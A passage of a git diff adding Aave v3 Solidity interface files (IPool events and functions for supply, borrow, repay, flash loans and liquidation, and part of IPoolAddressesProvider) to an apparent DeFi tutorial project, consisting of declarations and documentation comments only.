+   * @param reserve The address of the underlying asset being withdrawn
+   * @param user The address initiating the withdrawal, owner of aTokens
+   * @param to The address that will receive the underlying
+   * @param amount The amount to be withdrawn
+   */
+  event Withdraw(address indexed reserve, address indexed user, address indexed to, uint256 amount);
+
+  /**
+   * @dev Emitted on borrow() and flashLoan() when debt needs to be opened
+   * @param reserve The address of the underlying asset being borrowed
+   * @param user The address of the user initiating the borrow(), receiving the funds on borrow() or just
+   * initiator of the transaction on flashLoan()
+   * @param onBehalfOf The address that will be getting the debt
+   * @param amount The amount borrowed out
+   * @param interestRateMode The rate mode: 1 for Stable, 2 for Variable
+   * @param borrowRate The numeric rate at which the user has borrowed, expressed in ray
+   * @param referralCode The referral code used
+   */
+  event Borrow(
+    address indexed reserve,
+    address user,
+    address indexed onBehalfOf,
+    uint256 amount,
+    DataTypes.InterestRateMode interestRateMode,
+    uint256 borrowRate,
+    uint16 indexed referralCode
+  );
+
+  /**
+   * @dev Emitted on repay()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The beneficiary of the repayment, getting his debt reduced
+   * @param repayer The address of the user initiating the repay(), providing the funds
+   * @param amount The amount repaid
+   * @param useATokens True if the repayment is done using aTokens, `false` if done with underlying asset directly
+   */
+  event Repay(
+    address indexed reserve,
+    address indexed user,
+    address indexed repayer,
+    uint256 amount,
+    bool useATokens
+  );
+
+  /**
+   * @dev Emitted on swapBorrowRateMode()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user swapping his rate mode
+   * @param interestRateMode The current interest rate mode of the position being swapped: 1 for Stable, 2 for Variable
+   */
+  event SwapBorrowRateMode(
+    address indexed reserve,
+    address indexed user,
+    DataTypes.InterestRateMode interestRateMode
+  );
+
+  /**
+   * @dev Emitted on borrow(), repay() and liquidationCall() when using isolated assets
+   * @param asset The address of the underlying asset of the reserve
+   * @param totalDebt The total isolation mode debt for the reserve
+   */
+  event IsolationModeTotalDebtUpdated(address indexed asset, uint256 totalDebt);
+
+  /**
+   * @dev Emitted when the user selects a certain asset category for eMode
+   * @param user The address of the user
+   * @param categoryId The category id
+   */
+  event UserEModeSet(address indexed user, uint8 categoryId);
+
+  /**
+   * @dev Emitted on setUserUseReserveAsCollateral()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user enabling the usage as collateral
+   */
+  event ReserveUsedAsCollateralEnabled(address indexed reserve, address indexed user);
+
+  /**
+   * @dev Emitted on setUserUseReserveAsCollateral()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user enabling the usage as collateral
+   */
+  event ReserveUsedAsCollateralDisabled(address indexed reserve, address indexed user);
+
+  /**
+   * @dev Emitted on rebalanceStableBorrowRate()
+   * @param reserve The address of the underlying asset of the reserve
+   * @param user The address of the user for which the rebalance has been executed
+   */
+  event RebalanceStableBorrowRate(address indexed reserve, address indexed user);
+
+  /**
+   * @dev Emitted on flashLoan()
+   * @param target The address of the flash loan receiver contract
+   * @param initiator The address initiating the flash loan
+   * @param asset The address of the asset being flash borrowed
+   * @param amount The amount flash borrowed
+   * @param interestRateMode The flashloan mode: 0 for regular flashloan, 1 for Stable debt, 2 for Variable debt
+   * @param premium The fee flash borrowed
+   * @param referralCode The referral code used
+   */
+  event FlashLoan(
+    address indexed target,
+    address initiator,
+    address indexed asset,
+    uint256 amount,
+    DataTypes.InterestRateMode interestRateMode,
+    uint256 premium,
+    uint16 indexed referralCode
+  );
+
+  /**
+   * @dev Emitted when a borrower is liquidated.
+   * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
+   * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
+   * @param user The address of the borrower getting liquidated
+   * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
+   * @param liquidatedCollateralAmount The amount of collateral received by the liquidator
+   * @param liquidator The address of the liquidator
+   * @param receiveAToken True if the liquidators wants to receive the collateral aTokens, `false` if he wants
+   * to receive the underlying collateral asset directly
+   */
+  event LiquidationCall(
+    address indexed collateralAsset,
+    address indexed debtAsset,
+    address indexed user,
+    uint256 debtToCover,
+    uint256 liquidatedCollateralAmount,
+    address liquidator,
+    bool receiveAToken
+  );
+
+  /**
+   * @dev Emitted when the state of a reserve is updated.
+   * @param reserve The address of the underlying asset of the reserve
+   * @param liquidityRate The next liquidity rate
+   * @param stableBorrowRate The next stable borrow rate
+   * @param variableBorrowRate The next variable borrow rate
+   * @param liquidityIndex The next liquidity index
+   * @param variableBorrowIndex The next variable borrow index
+   */
+  event ReserveDataUpdated(
+    address indexed reserve,
+    uint256 liquidityRate,
+    uint256 stableBorrowRate,
+    uint256 variableBorrowRate,
+    uint256 liquidityIndex,
+    uint256 variableBorrowIndex
+  );
+
+  /**
+   * @dev Emitted when the protocol treasury receives minted aTokens from the accrued interest.
+   * @param reserve The address of the reserve
+   * @param amountMinted The amount minted to the treasury
+   */
+  event MintedToTreasury(address indexed reserve, uint256 amountMinted);
+
+  /**
+   * @notice Mints an `amount` of aTokens to the `onBehalfOf`
+   * @param asset The address of the underlying asset to mint
+   * @param amount The amount to mint
+   * @param onBehalfOf The address that will receive the aTokens
+   * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   */
+  function mintUnbacked(
+    address asset,
+    uint256 amount,
+    address onBehalfOf,
+    uint16 referralCode
+  ) external;
+
+  /**
+   * @notice Back the current unbacked underlying with `amount` and pay `fee`.
+   * @param asset The address of the underlying asset to back
+   * @param amount The amount to back
+   * @param fee The amount paid in fees
+   * @return The backed amount
+   */
+  function backUnbacked(address asset, uint256 amount, uint256 fee) external returns (uint256);
+
+  /**
+   * @notice Supplies an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
+   * - E.g. User supplies 100 USDC and gets in return 100 aUSDC
+   * @param asset The address of the underlying asset to supply
+   * @param amount The amount to be supplied
+   * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
+   *   wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
+   *   is a different wallet
+   * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   */
+  function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
+
+  /**
+   * @notice Supply with transfer approval of asset to be supplied done via permit function
+   * see: https://eips.ethereum.org/EIPS/eip-2612 and https://eips.ethereum.org/EIPS/eip-713
+   * @param asset The address of the underlying asset to supply
+   * @param amount The amount to be supplied
+   * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
+   *   wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
+   *   is a different wallet
+   * @param deadline The deadline timestamp that the permit is valid
+   * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   * @param permitV The V parameter of ERC712 permit sig
+   * @param permitR The R parameter of ERC712 permit sig
+   * @param permitS The S parameter of ERC712 permit sig
+   */
+  function supplyWithPermit(
+    address asset,
+    uint256 amount,
+    address onBehalfOf,
+    uint16 referralCode,
+    uint256 deadline,
+    uint8 permitV,
+    bytes32 permitR,
+    bytes32 permitS
+  ) external;
+
+  /**
+   * @notice Withdraws an `amount` of underlying asset from the reserve, burning the equivalent aTokens owned
+   * E.g. User has 100 aUSDC, calls withdraw() and receives 100 USDC, burning the 100 aUSDC
+   * @param asset The address of the underlying asset to withdraw
+   * @param amount The underlying amount to be withdrawn
+   *   - Send the value type(uint256).max in order to withdraw the whole aToken balance
+   * @param to The address that will receive the underlying, same as msg.sender if the user
+   *   wants to receive it on his own wallet, or a different address if the beneficiary is a
+   *   different wallet
+   * @return The final amount withdrawn
+   */
+  function withdraw(address asset, uint256 amount, address to) external returns (uint256);
+
+  /**
+   * @notice Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower
+   * already supplied enough collateral, or he was given enough allowance by a credit delegator on the
+   * corresponding debt token (StableDebtToken or VariableDebtToken)
+   * - E.g. User borrows 100 USDC passing as `onBehalfOf` his own address, receiving the 100 USDC in his wallet
+   *   and 100 stable/variable debt tokens, depending on the `interestRateMode`
+   * @param asset The address of the underlying asset to borrow
+   * @param amount The amount to be borrowed
+   * @param interestRateMode The interest rate mode at which the user wants to borrow: 1 for Stable, 2 for Variable
+   * @param referralCode The code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   * @param onBehalfOf The address of the user who will receive the debt. Should be the address of the borrower itself
+   * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator
+   * if he has been given credit delegation allowance
+   */
+  function borrow(
+    address asset,
+    uint256 amount,
+    uint256 interestRateMode,
+    uint16 referralCode,
+    address onBehalfOf
+  ) external;
+
+  /**
+   * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent debt tokens owned
+   * - E.g. User repays 100 USDC, burning 100 variable/stable debt tokens of the `onBehalfOf` address
+   * @param asset The address of the borrowed underlying asset previously borrowed
+   * @param amount The amount to repay
+   * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
+   * @param interestRateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
+   * @param onBehalfOf The address of the user who will get his debt reduced/removed. Should be the address of the
+   * user calling the function if he wants to reduce/remove his own debt, or the address of any other
+   * other borrower whose debt should be removed
+   * @return The final amount repaid
+   */
+  function repay(
+    address asset,
+    uint256 amount,
+    uint256 interestRateMode,
+    address onBehalfOf
+  ) external returns (uint256);
+
+  /**
+   * @notice Repay with transfer approval of asset to be repaid done via permit function
+   * see: https://eips.ethereum.org/EIPS/eip-2612 and https://eips.ethereum.org/EIPS/eip-713
+   * @param asset The address of the borrowed underlying asset previously borrowed
+   * @param amount The amount to repay
+   * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
+   * @param interestRateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
+   * @param onBehalfOf Address of the user who will get his debt reduced/removed. Should be the address of the
+   * user calling the function if he wants to reduce/remove his own debt, or the address of any other
+   * other borrower whose debt should be removed
+   * @param deadline The deadline timestamp that the permit is valid
+   * @param permitV The V parameter of ERC712 permit sig
+   * @param permitR The R parameter of ERC712 permit sig
+   * @param permitS The S parameter of ERC712 permit sig
+   * @return The final amount repaid
+   */
+  function repayWithPermit(
+    address asset,
+    uint256 amount,
+    uint256 interestRateMode,
+    address onBehalfOf,
+    uint256 deadline,
+    uint8 permitV,
+    bytes32 permitR,
+    bytes32 permitS
+  ) external returns (uint256);
+
+  /**
+   * @notice Repays a borrowed `amount` on a specific reserve using the reserve aTokens, burning the
+   * equivalent debt tokens
+   * - E.g. User repays 100 USDC using 100 aUSDC, burning 100 variable/stable debt tokens
+   * @dev  Passing uint256.max as amount will clean up any residual aToken dust balance, if the user aToken
+   * balance is not enough to cover the whole debt
+   * @param asset The address of the borrowed underlying asset previously borrowed
+   * @param amount The amount to repay
+   * - Send the value type(uint256).max in order to repay the whole debt for `asset` on the specific `debtMode`
+   * @param interestRateMode The interest rate mode at of the debt the user wants to repay: 1 for Stable, 2 for Variable
+   * @return The final amount repaid
+   */
+  function repayWithATokens(
+    address asset,
+    uint256 amount,
+    uint256 interestRateMode
+  ) external returns (uint256);
+
+  /**
+   * @notice Allows a borrower to swap his debt between stable and variable mode, or vice versa
+   * @param asset The address of the underlying asset borrowed
+   * @param interestRateMode The current interest rate mode of the position being swapped: 1 for Stable, 2 for Variable
+   */
+  function swapBorrowRateMode(address asset, uint256 interestRateMode) external;
+
+  /**
+   * @notice Rebalances the stable interest rate of a user to the current stable rate defined on the reserve.
+   * - Users can be rebalanced if the following conditions are satisfied:
+   *     1. Usage ratio is above 95%
+   *     2. the current supply APY is below REBALANCE_UP_THRESHOLD * maxVariableBorrowRate, which means that too
+   *        much has been borrowed at a stable rate and suppliers are not earning enough
+   * @param asset The address of the underlying asset borrowed
+   * @param user The address of the user to be rebalanced
+   */
+  function rebalanceStableBorrowRate(address asset, address user) external;
+
+  /**
+   * @notice Allows suppliers to enable/disable a specific supplied asset as collateral
+   * @param asset The address of the underlying asset supplied
+   * @param useAsCollateral True if the user wants to use the supply as collateral, false otherwise
+   */
+  function setUserUseReserveAsCollateral(address asset, bool useAsCollateral) external;
+
+  /**
+   * @notice Function to liquidate a non-healthy position collateral-wise, with Health Factor below 1
+   * - The caller (liquidator) covers `debtToCover` amount of debt of the user getting liquidated, and receives
+   *   a proportionally amount of the `collateralAsset` plus a bonus to cover market risk
+   * @param collateralAsset The address of the underlying asset used as collateral, to receive as result of the liquidation
+   * @param debtAsset The address of the underlying borrowed asset to be repaid with the liquidation
+   * @param user The address of the borrower getting liquidated
+   * @param debtToCover The debt amount of borrowed `asset` the liquidator wants to cover
+   * @param receiveAToken True if the liquidators wants to receive the collateral aTokens, `false` if he wants
+   * to receive the underlying collateral asset directly
+   */
+  function liquidationCall(
+    address collateralAsset,
+    address debtAsset,
+    address user,
+    uint256 debtToCover,
+    bool receiveAToken
+  ) external;
+
+  /**
+   * @notice Allows smartcontracts to access the liquidity of the pool within one transaction,
+   * as long as the amount taken plus a fee is returned.
+   * @dev IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept
+   * into consideration. For further details please visit https://docs.aave.com/developers/
+   * @param receiverAddress The address of the contract receiving the funds, implementing IFlashLoanReceiver interface
+   * @param assets The addresses of the assets being flash-borrowed
+   * @param amounts The amounts of the assets being flash-borrowed
+   * @param interestRateModes Types of the debt to open if the flash loan is not returned:
+   *   0 -> Don't open any debt, just revert if funds can't be transferred from the receiver
+   *   1 -> Open debt at stable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
+   *   2 -> Open debt at variable rate for the value of the amount flash-borrowed to the `onBehalfOf` address
+   * @param onBehalfOf The address  that will receive the debt in the case of using on `modes` 1 or 2
+   * @param params Variadic packed params to pass to the receiver as extra information
+   * @param referralCode The code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   */
+  function flashLoan(
+    address receiverAddress,
+    address[] calldata assets,
+    uint256[] calldata amounts,
+    uint256[] calldata interestRateModes,
+    address onBehalfOf,
+    bytes calldata params,
+    uint16 referralCode
+  ) external;
+
+  /**
+   * @notice Allows smartcontracts to access the liquidity of the pool within one transaction,
+   * as long as the amount taken plus a fee is returned.
+   * @dev IMPORTANT There are security concerns for developers of flashloan receiver contracts that must be kept
+   * into consideration. For further details please visit https://docs.aave.com/developers/
+   * @param receiverAddress The address of the contract receiving the funds, implementing IFlashLoanSimpleReceiver interface
+   * @param asset The address of the asset being flash-borrowed
+   * @param amount The amount of the asset being flash-borrowed
+   * @param params Variadic packed params to pass to the receiver as extra information
+   * @param referralCode The code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   */
+  function flashLoanSimple(
+    address receiverAddress,
+    address asset,
+    uint256 amount,
+    bytes calldata params,
+    uint16 referralCode
+  ) external;
+
+  /**
+   * @notice Returns the user account data across all the reserves
+   * @param user The address of the user
+   * @return totalCollateralBase The total collateral of the user in the base currency used by the price feed
+   * @return totalDebtBase The total debt of the user in the base currency used by the price feed
+   * @return availableBorrowsBase The borrowing power left of the user in the base currency used by the price feed
+   * @return currentLiquidationThreshold The liquidation threshold of the user
+   * @return ltv The loan to value of The user
+   * @return healthFactor The current health factor of the user
+   */
+  function getUserAccountData(
+    address user
+  )
+    external
+    view
+    returns (
+      uint256 totalCollateralBase,
+      uint256 totalDebtBase,
+      uint256 availableBorrowsBase,
+      uint256 currentLiquidationThreshold,
+      uint256 ltv,
+      uint256 healthFactor
+    );
+
+  /**
+   * @notice Initializes a reserve, activating it, assigning an aToken and debt tokens and an
+   * interest rate strategy
+   * @dev Only callable by the PoolConfigurator contract
+   * @param asset The address of the underlying asset of the reserve
+   * @param aTokenAddress The address of the aToken that will be assigned to the reserve
+   * @param stableDebtAddress The address of the StableDebtToken that will be assigned to the reserve
+   * @param variableDebtAddress The address of the VariableDebtToken that will be assigned to the reserve
+   * @param interestRateStrategyAddress The address of the interest rate strategy contract
+   */
+  function initReserve(
+    address asset,
+    address aTokenAddress,
+    address stableDebtAddress,
+    address variableDebtAddress,
+    address interestRateStrategyAddress
+  ) external;
+
+  /**
+   * @notice Drop a reserve
+   * @dev Only callable by the PoolConfigurator contract
+   * @param asset The address of the underlying asset of the reserve
+   */
+  function dropReserve(address asset) external;
+
+  /**
+   * @notice Updates the address of the interest rate strategy contract
+   * @dev Only callable by the PoolConfigurator contract
+   * @param asset The address of the underlying asset of the reserve
+   * @param rateStrategyAddress The address of the interest rate strategy contract
+   */
+  function setReserveInterestRateStrategyAddress(
+    address asset,
+    address rateStrategyAddress
+  ) external;
+
+  /**
+   * @notice Sets the configuration bitmap of the reserve as a whole
+   * @dev Only callable by the PoolConfigurator contract
+   * @param asset The address of the underlying asset of the reserve
+   * @param configuration The new configuration bitmap
+   */
+  function setConfiguration(
+    address asset,
+    DataTypes.ReserveConfigurationMap calldata configuration
+  ) external;
+
+  /**
+   * @notice Returns the configuration of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The configuration of the reserve
+   */
+  function getConfiguration(
+    address asset
+  ) external view returns (DataTypes.ReserveConfigurationMap memory);
+
+  /**
+   * @notice Returns the configuration of the user across all the reserves
+   * @param user The user address
+   * @return The configuration of the user
+   */
+  function getUserConfiguration(
+    address user
+  ) external view returns (DataTypes.UserConfigurationMap memory);
+
+  /**
+   * @notice Returns the normalized income of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The reserve's normalized income
+   */
+  function getReserveNormalizedIncome(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the normalized variable debt per unit of asset
+   * @dev WARNING: This function is intended to be used primarily by the protocol itself to get a
+   * "dynamic" variable index based on time, current stored index and virtual rate at the current
+   * moment (approx. a borrower would get if opening a position). This means that is always used in
+   * combination with variable debt supply/balances.
+   * If using this function externally, consider that is possible to have an increasing normalized
+   * variable debt that is not equivalent to how the variable debt index would be updated in storage
+   * (e.g. only updates with non-zero variable debt supply)
+   * @param asset The address of the underlying asset of the reserve
+   * @return The reserve normalized variable debt
+   */
+  function getReserveNormalizedVariableDebt(address asset) external view returns (uint256);
+
+  /**
+   * @notice Returns the state and configuration of the reserve
+   * @param asset The address of the underlying asset of the reserve
+   * @return The state and configuration data of the reserve
+   */
+  function getReserveData(address asset) external view returns (DataTypes.ReserveData memory);
+
+  /**
+   * @notice Validates and finalizes an aToken transfer
+   * @dev Only callable by the overlying aToken of the `asset`
+   * @param asset The address of the underlying asset of the aToken
+   * @param from The user from which the aTokens are transferred
+   * @param to The user receiving the aTokens
+   * @param amount The amount being transferred/withdrawn
+   * @param balanceFromBefore The aToken balance of the `from` user before the transfer
+   * @param balanceToBefore The aToken balance of the `to` user before the transfer
+   */
+  function finalizeTransfer(
+    address asset,
+    address from,
+    address to,
+    uint256 amount,
+    uint256 balanceFromBefore,
+    uint256 balanceToBefore
+  ) external;
+
+  /**
+   * @notice Returns the list of the underlying assets of all the initialized reserves
+   * @dev It does not include dropped reserves
+   * @return The addresses of the underlying assets of the initialized reserves
+   */
+  function getReservesList() external view returns (address[] memory);
+
+  /**
+   * @notice Returns the address of the underlying asset of a reserve by the reserve id as stored in the DataTypes.ReserveData struct
+   * @param id The id of the reserve as stored in the DataTypes.ReserveData struct
+   * @return The address of the reserve associated with id
+   */
+  function getReserveAddressById(uint16 id) external view returns (address);
+
+  /**
+   * @notice Returns the PoolAddressesProvider connected to this contract
+   * @return The address of the PoolAddressesProvider
+   */
+  function ADDRESSES_PROVIDER() external view returns (IPoolAddressesProvider);
+
+  /**
+   * @notice Updates the protocol fee on the bridging
+   * @param bridgeProtocolFee The part of the premium sent to the protocol treasury
+   */
+  function updateBridgeProtocolFee(uint256 bridgeProtocolFee) external;
+
+  /**
+   * @notice Updates flash loan premiums. Flash loan premium consists of two parts:
+   * - A part is sent to aToken holders as extra, one time accumulated interest
+   * - A part is collected by the protocol treasury
+   * @dev The total premium is calculated on the total borrowed amount
+   * @dev The premium to protocol is calculated on the total premium, being a percentage of `flashLoanPremiumTotal`
+   * @dev Only callable by the PoolConfigurator contract
+   * @param flashLoanPremiumTotal The total premium, expressed in bps
+   * @param flashLoanPremiumToProtocol The part of the premium sent to the protocol treasury, expressed in bps
+   */
+  function updateFlashloanPremiums(
+    uint128 flashLoanPremiumTotal,
+    uint128 flashLoanPremiumToProtocol
+  ) external;
+
+  /**
+   * @notice Configures a new category for the eMode.
+   * @dev In eMode, the protocol allows very high borrowing power to borrow assets of the same category.
+   * The category 0 is reserved as it's the default for volatile assets
+   * @param id The id of the category
+   * @param config The configuration of the category
+   */
+  function configureEModeCategory(uint8 id, DataTypes.EModeCategory memory config) external;
+
+  /**
+   * @notice Returns the data of an eMode category
+   * @param id The id of the category
+   * @return The configuration data of the category
+   */
+  function getEModeCategoryData(uint8 id) external view returns (DataTypes.EModeCategory memory);
+
+  /**
+   * @notice Allows a user to use the protocol in eMode
+   * @param categoryId The id of the category
+   */
+  function setUserEMode(uint8 categoryId) external;
+
+  /**
+   * @notice Returns the eMode the user is using
+   * @param user The address of the user
+   * @return The eMode id
+   */
+  function getUserEMode(address user) external view returns (uint256);
+
+  /**
+   * @notice Resets the isolation mode total debt of the given asset to zero
+   * @dev It requires the given asset has zero debt ceiling
+   * @param asset The address of the underlying asset to reset the isolationModeTotalDebt
+   */
+  function resetIsolationModeTotalDebt(address asset) external;
+
+  /**
+   * @notice Returns the percentage of available liquidity that can be borrowed at once at stable rate
+   * @return The percentage of available liquidity to borrow, expressed in bps
+   */
+  function MAX_STABLE_RATE_BORROW_SIZE_PERCENT() external view returns (uint256);
+
+  /**
+   * @notice Returns the total fee on flash loans
+   * @return The total fee on flashloans
+   */
+  function FLASHLOAN_PREMIUM_TOTAL() external view returns (uint128);
+
+  /**
+   * @notice Returns the part of the bridge fees sent to protocol
+   * @return The bridge fee sent to the protocol treasury
+   */
+  function BRIDGE_PROTOCOL_FEE() external view returns (uint256);
+
+  /**
+   * @notice Returns the part of the flashloan fees sent to protocol
+   * @return The flashloan fee sent to the protocol treasury
+   */
+  function FLASHLOAN_PREMIUM_TO_PROTOCOL() external view returns (uint128);
+
+  /**
+   * @notice Returns the maximum number of reserves supported to be listed in this Pool
+   * @return The maximum number of reserves supported
+   */
+  function MAX_NUMBER_RESERVES() external view returns (uint16);
+
+  /**
+   * @notice Mints the assets accrued through the reserve factor to the treasury in the form of aTokens
+   * @param assets The list of reserves for which the minting needs to be executed
+   */
+  function mintToTreasury(address[] calldata assets) external;
+
+  /**
+   * @notice Rescue and transfer tokens locked in this contract
+   * @param token The address of the token
+   * @param to The address of the recipient
+   * @param amount The amount of token to transfer
+   */
+  function rescueTokens(address token, address to, uint256 amount) external;
+
+  /**
+   * @notice Supplies an `amount` of underlying asset into the reserve, receiving in return overlying aTokens.
+   * - E.g. User supplies 100 USDC and gets in return 100 aUSDC
+   * @dev Deprecated: Use the `supply` function instead
+   * @param asset The address of the underlying asset to supply
+   * @param amount The amount to be supplied
+   * @param onBehalfOf The address that will receive the aTokens, same as msg.sender if the user
+   *   wants to receive them on his own wallet, or a different address if the beneficiary of aTokens
+   *   is a different wallet
+   * @param referralCode Code used to register the integrator originating the operation, for potential rewards.
+   *   0 if the action is executed directly by the user, without any middle-man
+   */
+  function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external;
+}
diff --git a/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPoolAddressesProvider.sol b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPoolAddressesProvider.sol
new file mode 100644
index 000000000..587a0d0bc
--- /dev/null
+++ b/basic/21-aave-uni-loan/contracts/interfaces/aave-v3/IPoolAddressesProvider.sol
@@ -0,0 +1,227 @@
+// SPDX-License-Identifier: AGPL-3.0
+pragma solidity ^0.8.0;
+
+/**
+ * @title IPoolAddressesProvider
+ * @author Aave
+ * @notice Defines the basic interface for a Pool Addresses Provider.
+ */
+interface IPoolAddressesProvider {
+  /**
+   * @dev Emitted when the market identifier is updated.
+   * @param oldMarketId The old id of the market
+   * @param newMarketId The new id of the market
+   */
+  event MarketIdSet(string indexed oldMarketId, string indexed newMarketId);
+
+  /**
+   * @dev Emitted when the pool is updated.
+   * @param oldAddress The old address of the Pool
+   * @param newAddress The new address of the Pool
+   */
+  event PoolUpdated(address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when the pool configurator is updated.
+   * @param oldAddress The old address of the PoolConfigurator
+   * @param newAddress The new address of the PoolConfigurator
+   */
+  event PoolConfiguratorUpdated(address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when the price oracle is updated.
+   * @param oldAddress The old address of the PriceOracle
+   * @param newAddress The new address of the PriceOracle
+   */
+  event PriceOracleUpdated(address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when the ACL manager is updated.
+   * @param oldAddress The old address of the ACLManager
+   * @param newAddress The new address of the ACLManager
+   */
+  event ACLManagerUpdated(address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when the ACL admin is updated.
+   * @param oldAddress The old address of the ACLAdmin
+   * @param newAddress The new address of the ACLAdmin
+   */
+  event ACLAdminUpdated(address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when the price oracle sentinel is updated.
+   * @param oldAddress The old address of the PriceOracleSentinel
+   * @param newAddress The new address of the PriceOracleSentinel
+   */
+  event PriceOracleSentinelUpdated(address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when the pool data provider is updated.
+   * @param oldAddress The old address of the PoolDataProvider
+   * @param newAddress The new address of the PoolDataProvider
+   */
+  event PoolDataProviderUpdated(address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when a new proxy is created.
+   * @param id The identifier of the proxy
+   * @param proxyAddress The address of the created proxy contract
+   * @param implementationAddress The address of the implementation contract
+   */
+  event ProxyCreated(
+    bytes32 indexed id,
+    address indexed proxyAddress,
+    address indexed implementationAddress
+  );
+
+  /**
+   * @dev Emitted when a new non-proxied contract address is registered.
+   * @param id The identifier of the contract
+   * @param oldAddress The address of the old contract
+   * @param newAddress The address of the new contract
+   */
+  event AddressSet(bytes32 indexed id, address indexed oldAddress, address indexed newAddress);
+
+  /**
+   * @dev Emitted when the implementation of the proxy registered with id is updated
+   * @param id The identifier of the contract
+   * @param proxyAddress The address of the proxy contract
+   * @param oldImplementationAddress The address of the old implementation contract
+   * @param newImplementationAddress The address of the new implementation contract
+   */
+  event AddressSetAsProxy(
+    bytes32 indexed id,
+    address indexed proxyAddress,
+    address oldImplementationAddress,
+    address indexed newImplementationAddress
+  );
+
+  /**
+   * @notice Returns the id of the Aave market to which this contract points to.
+   * @return The market id
+   */
+  function getMarketId() external view returns (string memory);
+
+  /**
+   * @notice Associates an id with a specific PoolAddressesProvider.
+   * @dev This can be used to create an onchain registry of PoolAddressesProviders to
+   * identify and validate multiple Aave markets.
+   * @param newMarketId The market id
+   */
+  function setMarketId(string calldata newMarketId) external;
+
+  /**
+   * @notice Returns an address by its identifier.
+   * @dev The returned address might be an EOA or a contract, potentially proxied
+   * @dev It returns ZERO if there is no registered address with the given id
+   * @param id The id
+   * @return The address of the registered for the specified id
+   */
+  function getAddress(bytes32 id) external view returns (address);
+
+  /**
+   * @notice General function to update the implementation of a proxy registered with
+   * certain `id`. If there is no proxy registered, it will instantiate one and
+   * set as implementation the `newImplementationAddress`.
+   * @dev IMPORTANT Use this function carefully, only for ids that don't have an explicit
+   * setter function, in order to avoid unexpected consequences
+   * @param id The id
+   * @param newImplementationAddress The address of the new implementation
+   */
+  function setAddressAsProxy(bytes32 id, address newImplementationAddress) external;
+
+  /**
+   * @notice Sets an address for an id replacing the address saved in the addresses map.
+   * @dev IMPORTANT Use this function carefully, as it will do a hard replacement
+   * @param id The id
+   * @param newAddress The address to set
+   */
+  function setAddress(bytes32 id, address newAddress) external;
+
+  /**
+   * @notice Returns the address of the Pool proxy.
+   * @return The Pool proxy address
+   */
+  function getPool() external view returns (address);
+
+  /**
+   * @notice Updates the implementation of the Pool, or creates a proxy
+   * setting the new `pool` implementation when the function is called for the first time.
+   * @param newPoolImpl The new Pool implementation
+   */
+  function setPoolImpl(address newPoolImpl) external;
+
+  /**
+   * @notice Returns the address of the PoolConfigurator proxy.
+   * @return The PoolConfigurator proxy address
+   */
+  function getPoolConfigurator() external view returns (address);
+
+  /**
+   * @notice Updates the implementation of the PoolConfigurator, or creates a proxy
+   * setting the new `PoolConfigurator` implementation when the function is called for the first time.
+   * @param newPoolConfiguratorImpl The new PoolConfigurator implementation
+   */
+  function setPoolConfiguratorImpl(address newPoolConfiguratorImpl) external;
+
+  /**
+   * @notice Returns the address of the price oracle.
+   * @return The address of the PriceOracle
+   */
+  function getPriceOracle() external view returns (address);
+
+  /**
+   * @notice Updates the address of the price oracle.
+   * @param newPriceOracle The address of the new PriceOracle
+   */
+  function setPriceOracle(address newPriceOracle) external;
+
+  /**
+   * @notice Returns the address of the ACL manager.
+   * @return The address of the ACLManager
+   */
+  function getACLManager() external view returns (address);
+
+  /**
+   * @notice Updates the address of the ACL manager.
+   * @param newAclManager The address of the new ACLManager
+   */
+  function setACLManager(address newAclManager) external;
+
+  /**
+   * @notice Returns the address of the ACL admin.
+   * @return The address of the ACL admin
+   */
+  function getACLAdmin() external view returns (address);
+
+  /**
+   * @notice Updates the address of the ACL admin.
+   * @param newAclAdmin The address of the new ACL admin
+   */
+  function setACLAdmin(address newAclAdmin) external;
+
+  /**
+   * @notice Returns the address of the price oracle sentinel.
+   * @return The address of the PriceOracleSentinel
+   */
+  function getPriceOracleSentinel() external view returns (address);
+
+  /**
